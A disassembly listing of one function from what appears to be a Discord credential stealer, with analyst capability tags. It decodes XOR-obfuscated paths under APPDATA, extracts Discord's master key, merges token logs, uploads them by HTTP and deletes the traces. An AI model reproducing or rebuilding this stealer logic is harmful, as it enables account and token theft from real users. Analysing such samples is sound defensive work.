Function at 0x6ff910b0
Capabilities:
Check if file exists
Delete file
Encode data using xor
Get file attributes
Query environment variable

Disassembly:
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
mov rbx, rcx
sub rsp, 0xa70
mov byte [rsp + 0x678], 0
lea rax, [rsp + 0x670]
lea rdx, [rsp + 0x677]
mov dword [rsp + 0x671], 0x30242435
mov r12, rax
mov word [rsp + 0x675], 0x2035
mov byte [rsp + 0x677], 0x35
xor byte [rax + 1], 0x74
inc rax
cmp rax, rdx
jne 0x6ff910fd
lea r15, [rsp + 0x6d]
lea rdi, [rsp + 0x671]
mov byte [rsp + 0x678], 0
mov rdx, rdi
mov rcx, r15
call sub.msvcrt.dll_strcpy
mov rcx, r15
call sub.msvcrt.dll_getenv
mov byte [rsp + 0x691], 0
mov rdx, r12
mov r8, rax
mov byte [rsp + 0x690], 0x6c
movabs rax, 0x4656792f56792f0a
mov qword [rsp + 0x670], rax
movabs rax, 0x657e592a666b6965
mov qword [rsp + 0x678], rax
movabs rax, 0x7c6f66566f6d6b78
mov qword [rsp + 0x680], rax
movabs rax, 0x64632456686e666f
mov qword [rsp + 0x688], rax
lea rax, [rsp + 0x690]
xor byte [rdx + 1], 0xa
inc rdx
cmp rdx, rax
jne 0x6ff91197
lea r14, [rsp + 0x16c]
mov r9, rbx
mov rdx, rdi
mov byte [rsp + 0x691], 0
mov rcx, r14
call sym.main.exe_sprintf_char__char_const__::_
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x6ff911d7
test al, 0x10
je 0x6ff9143d
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, r14
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, rbx
mov rcx, r15
call sym.main.exe_discord_get_master_key_char_const__char_const_
mov rsi, rax
test rax, rax
je 0x6ff9143d
mov rcx, r15
call sub.msvcrt.dll_getenv
mov byte [rsp + 0x697], 0
mov rdx, r12
mov r8, rax
mov byte [rsp + 0x696], 0x48
movabs rax, 0x6676590f76590f2a
mov qword [rsp + 0x670], rax
movabs rax, 0x455e790a464b4945
mov qword [rsp + 0x678], rax
movabs rax, 0x5c4f46764f4d4b58
mov dword [rsp + 0x690], 0x44e4f4d
mov word [rsp + 0x694], 0x4e46
mov qword [rsp + 0x680], rax
movabs rax, 0x584f4776484e464f
mov qword [rsp + 0x688], rax
lea rax, [rsp + 0x696]
xor byte [rdx + 1], 0x2a
inc rdx
cmp rdx, rax
jne 0x6ff912a7
lea r13, [rsp + 0x270]
mov rdx, rdi
mov r9, rbx
mov byte [rsp + 0x697], 0
mov rcx, r13
call sym.main.exe_sprintf_char__char_const__::_
mov rcx, r15
call sub.msvcrt.dll_getenv
mov byte [rsp + 0x68c], 0
mov rdx, r12
mov dword [rsp + 0x688], 0x7e787079
mov r8, rax
movabs rax, 0x50406f39406f391c
mov qword [rsp + 0x670], rax
movabs rax, 0x73684f3c707d7f73
mov qword [rsp + 0x678], rax
movabs rax, 0x6a797040797b7d6e
mov qword [rsp + 0x680], rax
lea rax, [rsp + 0x68b]
xor byte [rdx + 1], 0x1c
inc rdx
cmp rax, rdx
jne 0x6ff91330
lea r15, [rsp + 0x470]
mov r9, rbx
mov rdx, rdi
mov byte [rsp + 0x68c], 0
mov rcx, r15
call sym.main.exe_sprintf_char__char_const__::_
mov rdx, r13
mov rcx, r15
call sym.main.exe_discord_merge_logs_char_const__char_const_
mov byte [rsp + 0x5d], 0
lea rdx, [rsp + 0x5c]
movabs rax, 0x3732362123207c53
mov word [rsp + 0x5a], 0x767c
mov byte [rsp + 0x5c], 0x20
mov qword [rsp + 0x52], rax
lea rax, [rsp + 0x52]
mov rbx, rax
xor byte [rax + 1], 0x53
inc rax
cmp rdx, rax
jne 0x6ff91392
lea r15, [rsp + 0x53]
mov r8, rsi
mov rcx, r12
mov byte [rsp + 0x5d], 0
mov rdx, r15
call sym.main.exe_sprintf_char__char_const__::_
mov byte [rsp + 0x6c], 0
lea rdx, [rsp + 0x6b]
movabs rax, 0x5a0f0f0d1e000477
mov qword [rsp + 0x52], rax
movabs rax, 0x12195a0d031e1b15
mov word [rsp + 0x6a], 0x1214
mov qword [rsp + 0x5a], rax
movabs rax, 0x16070459111f5903
mov qword [rsp + 0x62], rax
mov rax, rbx
xor byte [rax + 1], 0x77
inc rax
cmp rax, rdx
jne 0x6ff913f7
lea r9, [rsp + 0x48]
mov r8, r13
mov rdx, r12
mov rcx, r15
mov byte [rsp + 0x6c], 0
call sym.main.exe_http_upload_file_char_const__char_const__char_const__char_
mov rbx, qword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp eax, 0xc8
je 0x6ff9142e
mov rcx, r14
call rbx
mov rcx, r13
call rbx
mov rcx, qword [rsp + 0x48]
call sym.main.exe_http_free_char_
add rsp, 0xa70
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
ret